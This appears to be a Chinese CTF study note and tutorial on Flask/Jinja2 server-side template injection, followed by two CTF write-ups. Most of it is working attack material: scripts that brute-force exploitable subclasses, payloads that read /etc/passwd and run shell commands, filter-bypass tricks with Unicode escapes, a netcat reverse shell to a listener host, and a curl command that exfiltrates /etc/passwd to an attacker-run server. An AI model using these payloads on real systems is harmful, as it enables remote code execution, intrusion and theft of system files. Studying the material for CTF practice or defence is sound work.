放心,我会一直陪着你
- 一.知识
- 二.实例
-
- [[HNCTF 2022 WEEK2]ez_SSTI](#[HNCTF 2022 WEEK2]ez_SSTI)
- [[安洵杯 2020]Normal SSTI](#[安洵杯 2020]Normal SSTI)
一.知识
一.在终端的一些指令
1.虚拟环境
进入虚拟环境flask1
php
cd /opt/flask1
php
source ./bin/activate
退出虚拟环境
php
deactivate
2.docker容器
自动检测
php
sudo docker run -p 18022:22 -P 18080:80 -i -t mcc0624/flask_ssti:last bash -c '/etc/rc.local; /bin/bash'
查看所有容器
php
docker ps -a
关闭容器
php
docker stop <CONTAINER ID>
开启容器
php
docker start <CONTAINER ID>
更多命令:Docker常用命令之容器命令
二.SSTI相关知识介绍
php
${7*7}
a{*comment*}b
${"z".join("ab")}
{{7*7}}
{{7*'7'}}
1.魔术方法
php
__class__#查找当前类型的所属对象
__base__#沿着父子类的关系往上走一个
__mro__#查找当前类对象的所有继承类
__subclasses__()#查找父类下的所有子类
__init__#查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__globals__#函数会议字典的形式返回当前对象的全部全局变量
2.python如何执行cmd命令
3.SSTI常用注入模块
(1)文件读取
①查找子类
php
_frozen_importlib_external.FileLoader
<class '_frozen_importlib_external.FileLoader'>
②找第几个时的python脚本:
python
import requests
url =input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code== 200:
if '_frozen_importlib_external.FileLoader'in response.text:
print(i)
except:
pass
③读取
python
{{''.__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"/etc/passwd")}}
(2)内建函数eval执行命令
①内建函数:python在执行脚本时自动加载的函数
看是否有eval
python
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']}}
②python脚本查看可利用内建函数eval的模块
python
import requests
url =input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code== 200:
if 'eval' in response.text:
print(i)
except :
pass
③执行
python
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}
__builtins__提供对Python的所有"内置"标识符的直接访问
eval()计算字符串表达式的值
__import__加载os模块
popen()执行一个shell以运行命令来开启一个进程,执行cat /etc/passwd(system没有回显)
(3)os模块执行命令
①Flask自带的函数和对象
显示当前flask有哪些函数和对象
python
{{self.__dict__._TemplateReference__context.keys()}}
python
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
python
{{url_for.__globals__.os.popen('ls').read()}}
python
{{lipsum.__globals__.os.popen('ls').read()}}
②python脚本查找已经加载os模块的子类
python
import requests
url =input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code== 200:
if 'os.py' in response.text:
print(i)
except :
pass
python
name={{().__class__.__base__.__subclasses__()[483].__init__.__globals__.os.popen('ls').read()}}
(4)importlib类执行命令
可以加载第三方库,使用load_module加载os
① python脚本查找_frozen_importlib.Builtinlmporter
python
import requests
url =input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code== 200:
if '_frozen_importlib.BuiltinImporter' in response.text:
print(i)
except :
pass
②执行
python
{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]('ls -l').read()}}
(5)linecache函数执行命令
linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,所以我们也可以利用这个linecache函数去执行命令.
①python脚本查找linecache
python
import requests
url =input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code== 200:
if 'linecache' in response.text:
print(i)
except :
pass
②执行
python
{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen("ls -l").read()}}
python
{{[].__class__.__base__.__subclasses__()[192].__init__.__globals__.linecache.os.popen("ls -l").read()}}
(6)subprocess.Popen类执行命令
从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值.
subprocess意在替代其他几个老的模块或者函数,比如:os.system、os.popen等函数.
① python脚本查找subprocess.Popen
python
import requests
url =input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code== 200:
if 'subprocess.Popen' in response.text:
print(i)
except :
pass
②执行
python
{{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()
[0].strip()}}
三.绕过过滤
1.双大括号
①判断是否有
python
{% if "".__class__ %}Benben{% endif %}
②检测是否有popen
python
import requests
url ="http://192.168.0.226:18080/flasklab/level/2"
for i in range(500):
try:
data = {"code": '{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat /etc/passwd").read()%}Benben{% endif %}'}
response = requests.post(url,data=data)
if response.status_code== 200:
if "Benben" in response.text:
print(i,"--->",data)
break
except :
pass
③执行(解决无回:print)
python
{% print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat /etc/passwd").read()) %}
2.无回显
(1)反弹shell
没有回显,
直接使用脚本批量执行希望执行的命令.
python
import requests
url ="http://192.168.0.226:18080/flasklab/level/3"
for i in range(300):
try:
data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat 192.168.0.226 7777 -e/bin/bash").read()}}'}
response = requests.post(url,data=data)
except :
pass
for i in range循环执行
当遇到包含popen的子类时,
直接执行netcat 192.168.1.161 7777 -e/bin/bash
监听主机收到反弹shell进入对方命令行界面
(2)带外注入(做不了×)
此处使用wget方法来带外想要知道的内容
也可以用dnslog或者nc
python
import requests
url ="http://192.168.0.226:18080/flasklab/level/3"
for i in range(300):
try:
data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl http://192.168.0.226/`cat /etc/passwd`").read()}}'}
response = requests.post(url,data=data)
except :
pass
同时kali开启一个python http监听
python
python3 -m http.server 80
(3)纯盲注
四.实例
1.eval
python
''
""
()
[]
{{''.__class__}}
{{''.__class__.__base__}}
{{''.__class__.__base__.__subclasses__()}}
{{''.__class__.__base__.__subclasses__()[117]}}
{{''.__class__.__base__.__subclasses__()[117].__init__}}
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}
①
php
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
②
python
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}
二.实例
[HNCTF 2022 WEEK2]ez_SSTI
进来看到
在哪里传参呢?
一般是GET传名为name的参数
测试SSTI注入,{``{7*7}}
确认有SSTI注入,继续测,{``{7*'7'}}
试试Jinja2模板,成功,以下是两种解题方法
1.Flask自带的函数和对象
先查看当前文件夹,发现了flag文件夹
php
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
获取flag
php
{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
2.python脚本查找已经加载os模块的子类
[安洵杯 2020]Normal SSTI
进来看到
提示了传参变量
试着判断是哪一种模板${7*7}
,发现有过滤
fuzz一下,黑名单大致如下
php
[' ','\'','*','[',']','_','.','globals','request','args','form','getitem','flag','length','list','string','config']
过滤了很多东西,不能用base64编码还有request,十六进制没试过,这里考虑用Unicode编码配合attr过滤器来绕过。
这里过滤了双大括号,只能用{%%}
做法属于Flask自带的函数和对象
clike
{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")())%}
把_globals_,__getitem__还有命令进行编码即可。
payload如下:
php
{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%}
clike
${7*7}
a{*comment*}b
${"z".join("ab")}
{{7*7}}
{{7*'7'}}